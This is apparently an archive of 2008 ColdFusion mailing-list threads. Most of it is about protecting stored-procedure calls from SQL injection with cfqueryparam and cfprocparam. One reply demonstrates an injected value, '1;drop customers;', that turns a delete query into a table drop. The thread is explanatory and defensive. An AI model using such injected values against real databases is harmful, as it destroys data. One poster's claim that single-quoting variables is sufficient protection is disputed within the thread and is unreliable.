 I have been messing with this issue all day - searched around without
 much success.  Here's the issue, we are on Oracle 10g R2.  We upgraded
 our JDBC driver to 3.5.  I am now trying to get the following test code
 to work (test.xml is a simple xml file):

 **
 cffile action=Read 
 file=C:\testing\Test.xml 
 variable=variables.myXMLInput 

 cfstoredproc procedure=TESTCLOB datasource=MYDNS
  cfprocparam cfsqltype=CF_SQL_CLOB type=In
 value=#variables.myXMLInput#
  cfprocparam cfsqltype=CF_SQL_CLOB type=Out
 variable=variables.myXMLOutput
 /cfstoredproc

 cfoutput#variables.myXMLOutput#/cfoutput
 **

 The stored procedure is just copying the value passed in into the output
 variable.  I've tested the procedure through PL/SQL developer and it
 works fine.

 The output of the above test code is this:
 [EMAIL PROTECTED] 
 I realize what this is - the default ToString of a Java object - the
 address changes every time I refresh.  The question is, how do I get to
 the value of the CLOB from this variable?  I've tried to do a CFDUMP of
 the variable, but it actually causes CF to crash.  Through debugging I
 can see the input was handled correctly - just can't get to the output. 
 Any help would be appreciated.

 Regards,
 MG

 
 
 

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:313900
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

RE: cfquery and cfstoredproc

2008-07-23 Thread Dave Watts

 Actually, I'm gonna pick on you again Dave and challenge 
 this. (I'm hoping to add to my wall)
 
 If a someone is using MySQL ...

Well, the original poster was asking about the current attack, which
specifically targets MS SQL Server.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/

Fig Leaf Software provides the highest caliber vendor-authorized
instruction at our training centers in Washington DC, Atlanta,
Chicago, Baltimore, Northern Virginia, or on-site at your location.
Visit http://training.figleaf.com/ for more information!

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309509
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

RE: cfquery and cfstoredproc

2008-07-23 Thread Dave Watts

 Do you mind if I blog about that part where you said Yeah, 
 your right about that   That's got to be good for my 
 cf_streetCred (ha).

I don't mind, no.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/

Fig Leaf Software provides the highest caliber vendor-authorized
instruction at our training centers in Washington DC, Atlanta,
Chicago, Baltimore, Northern Virginia, or on-site at your location.
Visit http://training.figleaf.com/ for more information!

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309510
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

Re: writing protected CF with CFStoredProc

2008-07-23 Thread Qing Xia

Excellent points! Thanks Dave, and everyone who took the time to reply to /
read this thread.

Moral lessons learned:
1) Don't go crazy with tightening security around SQL statements.  Only
secure the vulnerable;
2) Whenever possible, think of using native CF functions to simplify code.

:-)

BTW, Dave, do you have a Reader's Digest version of the CFTalk threads?
There are so many good ideas flying around here that it is hard to keep up
sometimes.  It would be awesome if we could have the common problem
discussions abstracted, condensed and posted for all to share.

On Tue, Jul 22, 2008 at 8:15 PM, Dave Watts [EMAIL PROTECTED] wrote:

   Say you had a proc that looked like this:
  
   CREATE PROC sps_testproc
   @AID int = null,
   @BID int = null
   as
   IF @AID is not null
   SELECT @AID
   IF @AID is not NULL
   SELECT @BID
  
   If I was using CFQUERY, unprotected-style, I might write this:
  
   cfquery ...
   sps_testproc
   cfif whichvar = A
   @aid=123
   cfelse
   @bid=456
   /cfif
   /cfquery
 
  Well, first of all, in this case the stored procedure itself
  is handling validation. It's going to make sure that @aid and
  @bid are integers, and fail if they're not. In addition, in
  the above case, the parameters don't even contain CF
  variables! So, you don't really need to go any farther, as
  your current code is safe.

 As Mark just pointed out, if you did have actual CF variables in your
 statement, those would be vulnerable. The stored procedure itself isn't
 vulnerable, of course, but the CFQUERY tag would be unless you'd configured
 your database login so that it could only execute stored procedures.

 Dave Watts, CTO, Fig Leaf Software
 http://www.figleaf.com/

 Fig Leaf Software provides the highest caliber vendor-authorized
 instruction at our training centers in Washington DC, Atlanta,
 Chicago, Baltimore, Northern Virginia, or on-site at your location.
 Visit http://training.figleaf.com/ for more information!

 

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309526
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

Re: cfquery and cfstoredproc

2008-07-23 Thread Brad Wood

 Actually, I'm gonna pick on you again Dave and challenge
 this. (I'm hoping to add to my wall)

 If a someone is using MySQL ...

 Well, the original poster was asking about the current attack, which
 specifically targets MS SQL Server.


That might be true, but he didn't say that.  He simply stated he had been 
asked to look at a possible sql injection attack.
He stated he had heard that inline queries can cause injection attacks and 
asked if that syntax was safe.

Given that information alone, I still think the answer is no.

~Brad 


~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309536
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

writing protected CF with CFStoredProc

2008-07-22 Thread Qing Xia

Hello folks:

The discussion yesterday regarding using CFqueryparam to protect sites from
SQL Injection attacks got me thinking.  Well, it is easy enough to use
CFQUERYPARAM everywhere inside CFQUERY tags, wherever a variable is passed
to the SQL query.

However, how do you do that with CFStoredProc?

If I understand correctly, if you want to protect calls to stored procs
(from SQL injection and the like), you have to use cfstoredproc and
cfprocparam instead of cfquery and cfqueryparam.  But apparently, you can't
indicate what parameters you're actually passing.  Am I missing something?

Say you had a proc that looked like this:

CREATE PROC sps_testproc
@AID int = null,
@BID int = null
as
IF @AID is not null
SELECT @AID
IF @AID is not NULL
SELECT @BID

If I was using CFQUERY, unprotected-style, I might write this:

cfquery ...
sps_testproc
cfif whichvar = A
@aid=123
cfelse
@bid=456
/cfif
/cfquery

If I was using CFSTOREDPROC, I might write this:

cfstoredproc procedure=sps_testproc...
cfprocparam type=in cfsqltype=cf_sql_integer value=123
.
/cfstoredproc

See my problem?  In my proc example, we don't need to know which of the two
params is going to be passed to it.  In the CFQUERY, I use that to pass one
param or the other depending on something else (the value of whichvar).
But as far as I can tell, CFSTOREDPROC doesn't let me tell it which
parameter I'm passing -- presumably it wants all parameters, in order.  So
maybe I need something like this:

 cfstoredproc procedure=sps_testproc...
cfif whichvar=A
cfprocparam type=in cfsqltype=cf_sql_integer value=123
cfprocparam type=in cfsqltype=cf_sql_integer value=null
cfelse
cfprocparam type=in cfsqltype=cf_sql_integer
value=null
cfprocparam type=in cfsqltype=cf_sql_integer value=456
/cfstoredproc

That kind of sucks, right?  Am I making any sense?

Any thoughts and/or suggestions?


~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309460
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

RE: writing protected CF with CFStoredProc

2008-07-22 Thread Andy Matthews

Why not pass both to the proc, then rewrite the proc so that rather than
testing for it's existence, you're testing for whether or not it's blank? 

-Original Message-
From: Qing Xia [mailto:[EMAIL PROTECTED] 
Sent: Tuesday, July 22, 2008 9:21 AM
To: CF-Talk
Subject: writing protected CF with CFStoredProc

Hello folks:

The discussion yesterday regarding using CFqueryparam to protect sites from
SQL Injection attacks got me thinking.  Well, it is easy enough to use
CFQUERYPARAM everywhere inside CFQUERY tags, wherever a variable is passed
to the SQL query.

However, how do you do that with CFStoredProc?

If I understand correctly, if you want to protect calls to stored procs
(from SQL injection and the like), you have to use cfstoredproc and
cfprocparam instead of cfquery and cfqueryparam.  But apparently, you can't
indicate what parameters you're actually passing.  Am I missing something?

Say you had a proc that looked like this:

CREATE PROC sps_testproc
@AID int = null,
@BID int = null
as
IF @AID is not null
SELECT @AID
IF @AID is not NULL
SELECT @BID

If I was using CFQUERY, unprotected-style, I might write this:

cfquery ...
sps_testproc
cfif whichvar = A
@aid=123
cfelse
@bid=456
/cfif
/cfquery

If I was using CFSTOREDPROC, I might write this:

cfstoredproc procedure=sps_testproc...
cfprocparam type=in cfsqltype=cf_sql_integer value=123
..
/cfstoredproc

See my problem?  In my proc example, we don't need to know which of the two
params is going to be passed to it.  In the CFQUERY, I use that to pass one
param or the other depending on something else (the value of whichvar).
But as far as I can tell, CFSTOREDPROC doesn't let me tell it which
parameter I'm passing -- presumably it wants all parameters, in order.  So
maybe I need something like this:

 cfstoredproc procedure=sps_testproc...
cfif whichvar=A
cfprocparam type=in cfsqltype=cf_sql_integer value=123
cfprocparam type=in cfsqltype=cf_sql_integer value=null
cfelse
cfprocparam type=in cfsqltype=cf_sql_integer
value=null
cfprocparam type=in cfsqltype=cf_sql_integer value=456
/cfstoredproc

That kind of sucks, right?  Am I making any sense?

Any thoughts and/or suggestions?

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309461
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

RE: writing protected CF with CFStoredProc

2008-07-22 Thread Adrian Lynch

Yup, you're making sense. The way around it is to pass NULL in using:

cfprocparam null=true

Adrian

-Original Message-
From: Qing Xia [mailto:[EMAIL PROTECTED]
Sent: 22 July 2008 15:21
To: CF-Talk
Subject: writing protected CF with CFStoredProc

Hello folks:

The discussion yesterday regarding using CFqueryparam to protect sites from
SQL Injection attacks got me thinking.  Well, it is easy enough to use
CFQUERYPARAM everywhere inside CFQUERY tags, wherever a variable is passed
to the SQL query.

However, how do you do that with CFStoredProc?

If I understand correctly, if you want to protect calls to stored procs
(from SQL injection and the like), you have to use cfstoredproc and
cfprocparam instead of cfquery and cfqueryparam.  But apparently, you can't
indicate what parameters you're actually passing.  Am I missing something?

Say you had a proc that looked like this:

CREATE PROC sps_testproc
@AID int = null,
@BID int = null
as
IF @AID is not null
SELECT @AID
IF @AID is not NULL
SELECT @BID

If I was using CFQUERY, unprotected-style, I might write this:

cfquery ...
sps_testproc
cfif whichvar = A
@aid=123
cfelse
@bid=456
/cfif
/cfquery

If I was using CFSTOREDPROC, I might write this:

cfstoredproc procedure=sps_testproc...
cfprocparam type=in cfsqltype=cf_sql_integer value=123
..
/cfstoredproc

See my problem?  In my proc example, we don't need to know which of the two
params is going to be passed to it.  In the CFQUERY, I use that to pass one
param or the other depending on something else (the value of whichvar).
But as far as I can tell, CFSTOREDPROC doesn't let me tell it which
parameter I'm passing -- presumably it wants all parameters, in order.  So
maybe I need something like this:

 cfstoredproc procedure=sps_testproc...
cfif whichvar=A
cfprocparam type=in cfsqltype=cf_sql_integer value=123
cfprocparam type=in cfsqltype=cf_sql_integer value=null
cfelse
cfprocparam type=in cfsqltype=cf_sql_integer
value=null
cfprocparam type=in cfsqltype=cf_sql_integer value=456
/cfstoredproc

That kind of sucks, right?  Am I making any sense?

Any thoughts and/or suggestions?

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309462
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

Re: writing protected CF with CFStoredProc

2008-07-22 Thread morgan l

What's wrong with using:

cfquery ...
   exec sps_testproc
   cfif whichvar = A
   @aid=cfqueryparam value=123 cfsqltype=cf_sql_integer
   cfelse
   @bid=cfqueryparam value=456 cfsqltype=cf_sql_integer
   /cfif
/cfquery


~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309464
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

Re: writing protected CF with CFStoredProc

2008-07-22 Thread Qing Xia

Oh yeah, you are right, of course.  There is no NULL in CF so if I do a
Value=NULL that will only confuse SQL.

Cool, thanks!

On Tue, Jul 22, 2008 at 10:27 AM, Adrian Lynch [EMAIL PROTECTED]
wrote:

 Yup, you're making sense. The way around it is to pass NULL in using:

 cfprocparam null=true

 Adrian

 -Original Message-
 From: Qing Xia [mailto:[EMAIL PROTECTED]
 Sent: 22 July 2008 15:21
 To: CF-Talk
 Subject: writing protected CF with CFStoredProc


  Hello folks:

 The discussion yesterday regarding using CFqueryparam to protect sites from
 SQL Injection attacks got me thinking.  Well, it is easy enough to use
 CFQUERYPARAM everywhere inside CFQUERY tags, wherever a variable is passed
 to the SQL query.

 However, how do you do that with CFStoredProc?

 If I understand correctly, if you want to protect calls to stored procs
 (from SQL injection and the like), you have to use cfstoredproc and
 cfprocparam instead of cfquery and cfqueryparam.  But apparently, you can't
 indicate what parameters you're actually passing.  Am I missing something?

 Say you had a proc that looked like this:

 CREATE PROC sps_testproc
@AID int = null,
@BID int = null
 as
IF @AID is not null
SELECT @AID
IF @AID is not NULL
SELECT @BID

 If I was using CFQUERY, unprotected-style, I might write this:

 cfquery ...
sps_testproc
cfif whichvar = A
@aid=123
cfelse
@bid=456
/cfif
 /cfquery

 If I was using CFSTOREDPROC, I might write this:

 cfstoredproc procedure=sps_testproc...
cfprocparam type=in cfsqltype=cf_sql_integer value=123
 ..
 /cfstoredproc

 See my problem?  In my proc example, we don't need to know which of the two
 params is going to be passed to it.  In the CFQUERY, I use that to pass one
 param or the other depending on something else (the value of whichvar).
 But as far as I can tell, CFSTOREDPROC doesn't let me tell it which
 parameter I'm passing -- presumably it wants all parameters, in order.  So
 maybe I need something like this:

  cfstoredproc procedure=sps_testproc...
cfif whichvar=A
cfprocparam type=in cfsqltype=cf_sql_integer value=123
cfprocparam type=in cfsqltype=cf_sql_integer value=null
 cfelse
cfprocparam type=in cfsqltype=cf_sql_integer
 value=null
 cfprocparam type=in cfsqltype=cf_sql_integer value=456
 /cfstoredproc

 That kind of sucks, right?  Am I making any sense?

 Any thoughts and/or suggestions?

 

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309465
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

Re: writing protected CF with CFStoredProc

2008-07-22 Thread Qing Xia

True!  I can certainly do this as well.

On Tue, Jul 22, 2008 at 10:40 AM, morgan l [EMAIL PROTECTED] wrote:

 What's wrong with using:

 cfquery ...
   exec sps_testproc
   cfif whichvar = A
   @aid=cfqueryparam value=123 cfsqltype=cf_sql_integer
   cfelse
   @bid=cfqueryparam value=456 cfsqltype=cf_sql_integer
   /cfif
 /cfquery


 

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309466
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

Re: writing protected CF with CFStoredProc

2008-07-22 Thread Rich Kroll

In your example you are altering the behavior of the query based upon input
which does not affect injection attacks.  The idea of protecting against
injection attacks is to stop invalid values from being executed within the
query/SP.

Take for example this query:
delete from customer where customerId = 1

if this query were parameterized from CF without cfqueryparam you would
have:
delete from customer where customerId = #customerId#

If someone were trying to inject sql they could inject 1;drop customers;
as the parameter and without the queryparam, it would be executed literally
as the following and drop the customers table:

delete from customer where lastname = 1;
drop customers;

To prevent this we utilize cfqueryparam which parameterizes the query that
is passed.  As I understand it, this informs the database that the value
being passed is of a specific datatype.  So in the previous example:

delete from customer where customerId = cfqueryparam value=#customerId#
cfsqltype=cf_sql_integer null=false /

In essense, the database sees this as:
declare @custId int
set @custId = 1

delete from customer where customerId = @custId

This has the benefit of not allowing the additional SQL to be injected, and
I just learned recently, it also creates a parameterized query which on SQL
server creates a cached query execution plan, minimially increasing
performance.

HTH,
Rich


~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309467
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

cfquery and cfstoredproc

2008-07-22 Thread Tim Do

i have been asked to look at a possible sql injection attack.  as I look
through the code I see stored procs being called by using cfquery like:

 

cfquery name=asdf datasource=asdf

storedproc '#var1#', '#var2#'

cfquery

 

I've read about using cfstored procs and params to prevent attacks.
I've read that using cfquery and doing inline queries can cause
injection attacks but I wasn't sure about using cfquery and calling a
stored proc through it.  Can somebody  please confirm?  

 

Thanks!

 

Tim

 

 

 



~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309477
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

RE: cfquery and cfstoredproc

Yes you are vulnerable if you do not sanitize the inputs. 


Mark A. Kruger, CFG, MCSE
(402) 408-3733 ext 105
www.cfwebtools.com
www.coldfusionmuse.com
www.necfug.com

-Original Message-
From: Tim Do [mailto:[EMAIL PROTECTED] 
Sent: Tuesday, July 22, 2008 2:28 PM
To: CF-Talk
Subject: cfquery and cfstoredproc

i have been asked to look at a possible sql injection attack.  as I look
through the code I see stored procs being called by using cfquery like:

 

cfquery name=asdf datasource=asdf

storedproc '#var1#', '#var2#'

cfquery

 

I've read about using cfstored procs and params to prevent attacks.
I've read that using cfquery and doing inline queries can cause injection
attacks but I wasn't sure about using cfquery and calling a stored proc
through it.  Can somebody  please confirm?  

 

Thanks!

 

Tim

 

 

 





~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309478
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

RE: cfquery and cfstoredproc

2008-07-22 Thread Gaulin, Mark

As you have heard, cfquery is vulnerable to sql injection attacks, so
you have to do something.

You will hear that cfqueryparam is the best practice for protecting
against sql injection attacks, and there is certainly truth to that.
However, there are also costs associated with cfqueryparam.  (Depending
on the version of CF, cfqueryparam disables cachedwithin caching.  In
all versions of CF, cfqueryparam effectively makes Sql Profiling with
SQL Server useless and there is no workaround.  This last issue is
nearly a show stopper for me.)

The code you show below puts single quotes around simple CF variables,
and in my book that provides pretty good protection from sql injection
attacks.  I have not yet heard of a case/argument that shows that the
single quote method, when used with simple CF variables, is not safe.
(Using the value of a function call or other expression in a cfquery can
lead to problems, possibly depending on the version of CF you are using.
The problems are due to the weird way that CF doubles single quotes in
variable values automatically.)

BTW, I do not know if there is a way to safely use a CF variable as part
of an ORDER BY clause, but I do know that single quotes there will not
work. (It is not valid SQL.)  So, code that takes ORDER BY clause
elements from url parameters are much tougher to protect and I think
should be avoided.

Thanks
Mark

-Original Message-
From: Tim Do [mailto:[EMAIL PROTECTED] 
Sent: Tuesday, July 22, 2008 3:28 PM
To: CF-Talk
Subject: cfquery and cfstoredproc

i have been asked to look at a possible sql injection attack.  as I look
through the code I see stored procs being called by using cfquery like:

 

cfquery name=asdf datasource=asdf

storedproc '#var1#', '#var2#'

cfquery

 

I've read about using cfstored procs and params to prevent attacks.
I've read that using cfquery and doing inline queries can cause
injection attacks but I wasn't sure about using cfquery and calling a
stored proc through it.  Can somebody  please confirm?  

 

Thanks!

 

Tim

 

 

 





~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309479
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

Re: cfquery and cfstoredproc

(Depending
on the version of CF, cfqueryparam disables cachedwithin caching.

This is true, but it doesn't prevent you from baking your own caching
mechanism as many have done.

In
all versions of CF, cfqueryparam effectively makes Sql Profiling with
SQL Server useless and there is no workaround.

Please explain what you mean. Are you saying you can't run a trace and see
your SQL running. That is certainly not true. It may complicate seeing the
valuf of your input parameters. peronally I use SeeFusion to watch my SQL
traffic. I can debug a single users's IP and it shows me all the parameters
being passed in.

The code you show below puts single quotes around simple CF variables,
and in my book that provides pretty good protection from sql injection
attacks. I have not yet heard of a case/argument that shows that the
single quote method, when used with simple CF variables, is not safe.

Now you have:
http://www.codersrevolution.com/index.cfm/2008/7/13/Just-when-you-felt-safe-SQL-Injection-and-MySQL
http://www.coldfusionmuse.com/index.cfm/2008/5/16/disable-backslash-escape-on-mysql

BTW, I do not know if there is a way to safely use a CF variable as part
of an ORDER BY clause,

I outlined what I believe to be the only way to this here:
http://www.codersrevolution.com/index.cfm/2008/7/22/When-will-cfqueryparam-NOT-protect-me

~Brad

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive:
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309480
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe:
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

RE: cfquery and cfstoredproc

A couple of approaches to order by

http://www.coldfusionmuse.com/index.cfm/2008/7/21/SQL-injection-using-order-
by 


Mark A. Kruger, CFG, MCSE
(402) 408-3733 ext 105
www.cfwebtools.com
www.coldfusionmuse.com
www.necfug.com

-Original Message-
From: Brad Wood [mailto:[EMAIL PROTECTED] 
Sent: Tuesday, July 22, 2008 3:46 PM
To: CF-Talk
Subject: Re: cfquery and cfstoredproc

(Depending
 on the version of CF, cfqueryparam disables cachedwithin caching.

This is true, but it doesn't prevent you from baking your own caching
mechanism as many have done.

 In
 all versions of CF, cfqueryparam effectively makes Sql Profiling with 
 SQL Server useless and there is no workaround.

Please explain what you mean.  Are you saying you can't run a trace and see
your SQL running.  That is certainly not true.  It may complicate seeing the
valuf of your input parameters.  peronally I use SeeFusion to watch my SQL
traffic.  I can debug a single users's IP and it shows me all the parameters
being passed in.

 The code you show below puts single quotes around simple CF variables, 
 and in my book that provides pretty good protection from sql injection 
 attacks.  I have not yet heard of a case/argument that shows that the 
 single quote method, when used with simple CF variables, is not safe.

Now you have:
http://www.codersrevolution.com/index.cfm/2008/7/13/Just-when-you-felt-safe-
SQL-Injection-and-MySQL
http://www.coldfusionmuse.com/index.cfm/2008/5/16/disable-backslash-escape-o
n-mysql

 BTW, I do not know if there is a way to safely use a CF variable as 
 part of an ORDER BY clause,

I outlined what I believe to be the only way to this here:
http://www.codersrevolution.com/index.cfm/2008/7/22/When-will-cfqueryparam-N
OT-protect-me

~Brad 




~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309482
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

RE: cfquery and cfstoredproc

2008-07-22 Thread Adrian Lynch

I've used this function to view the SQL with the param data in place.

cffunction name=executedSQL

cfargument name=result

cfset var LOCAL = {}

cfset LOCAL.sqlString = ARGUMENTS.result.sql

cfif StructKeyExists(ARGUMENTS.result, sqlParameters)
cfset LOCAL.params = ARGUMENTS.result.sqlParameters
cfloop array=#LOCAL.params# index=LOCAL.param
cfif NOT IsNumeric(LOCAL.param)
cfset LOCAL.param = '  LOCAL.param  '
/cfif
cfset LOCAL.sqlString = ReplaceNoCase(LOCAL.sqlString, 
?, LOCAL.param,
ONE)
/cfloop
/cfif

cfreturn pre  LOCAL.sqlString  /pre

/cffunction

cfquery name=testQuery datasource=yourDS result=r
SELECT *
FROM myTable
WHERE myColumn = cfqueryparam cfsqltype=CF_SQL_INTEGER
value=#someVar#
AND myOtherColumn = cfqueryparam cfsqltype=CF_SQL_VARCHAR
value=#anotherVar#
/cfquery

cfoutput#executedSQL(r)#/cfoutput

Adrian
www.adrianlynch.co.uk

-Original Message-
From: Brad Wood [mailto:[EMAIL PROTECTED]
Sent: 22 July 2008 21:46
To: CF-Talk
Subject: Re: cfquery and cfstoredproc

 In all versions of CF, cfqueryparam effectively makes Sql Profiling with
 SQL Server useless and there is no workaround.

Please explain what you mean.  Are you saying you can't run a trace and see
your SQL running.  That is certainly not true.  It may complicate seeing the
valuf of your input parameters.  peronally I use SeeFusion to watch my SQL
traffic.  I can debug a single users's IP and it shows me all the parameters
being passed in.

~Brad


~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j

Archive: 
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309481
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

RE: cfquery and cfstoredproc

2008-07-22 Thread Gaulin, Mark

Hi Brad
Thanks for the links, those are interesting articles.

The problem with MS SQL Profiler and cfqueryparam is that the sql that
arrives at the sql server replaces the literal sql with something like
sp_exec 72 (I forget the actual sp name) followed by the parameters
(which are easily visible); the 72 is all that identifies the actual
sql statement and there is no way to convert 72 into the actual sql
statement... the id is valid only within the current connection.  

I use SQL profiler to find slow queries coming from anywhere in the
network, including the multiple web servers and other processes that run
our web site. It also shows lots of SQL server internal stats which make
debugging slow queries much, much easier... just having execution times
is not always helpful, and seeing all of the concurrently running
queries is pretty much required for complex cases.

What stinks is that all Adobe has to do is provide an alternative mode
for cfqueryparam that does not use binding (but does do other required
data validation), and I could enable it as I see fit. Then everyone in
the world could agree that cfqueryparam is great and should be used in
all cases. (I know, I know... implementing the required validation is
easier said than done. I didn't say it would be trivial to do.)

The other potential fix that I would absolutely live with is if the
sp_exec 72... SQL included a SQL comment that showed a form of the
original query.  That would be enough for me to go on.  This kind of
change would almost certainly require changes at or near the JDBC call
layer so, unless I can swap in a different JDBC driver, there isn't much
hope of doing this independently of Adobe. (Actually, it looks like it
is possible to use non-standard JDBC drivers... Hmm... I wonder what
kind of trouble I can get myself into with this capability.)

BTW, that MySQL hack with quoted back ticks sounds like hell.  I'm not
trying to start a MS SQL vs MySQL thing here, but damn, that really
sucks and probably makes a ton of web sites vulnerable. (And yes, this
does provide an example of when back ticks are insufficient, so now I
know.)

Thanks for the info.

Mark

-Original Message-
From: Brad Wood [mailto:[EMAIL PROTECTED] 
Sent: Tuesday, July 22, 2008 4:46 PM
To: CF-Talk
Subject: Re: cfquery and cfstoredproc

(Depending
 on the version of CF, cfqueryparam disables cachedwithin caching.

This is true, but it doesn't prevent you from baking your own caching
mechanism as many have done.

 In
 all versions of CF, cfqueryparam effectively makes Sql Profiling with 
 SQL Server useless and there is no workaround.

Please explain what you mean.  Are you saying you can't run a trace and
see your SQL running.  That is certainly not true.  It may complicate
seeing the valuf of your input parameters.  peronally I use SeeFusion to
watch my SQL traffic.  I can debug a single users's IP and it shows me
all the parameters being passed in.

 The code you show below puts single quotes around simple CF variables,

 and in my book that provides pretty good protection from sql injection

 attacks.  I have not yet heard of a case/argument that shows that the 
 single quote method, when used with simple CF variables, is not safe.

Now you have:
http://www.codersrevolution.com/index.cfm/2008/7/13/Just-when-you-felt-s
afe-SQL-Injection-and-MySQL
http://www.coldfusionmuse.com/index.cfm/2008/5/16/disable-backslash-esca
pe-on-mysql

 BTW, I do not know if there is a way to safely use a CF variable as 
 part of an ORDER BY clause,

I outlined what I believe to be the only way to this here:
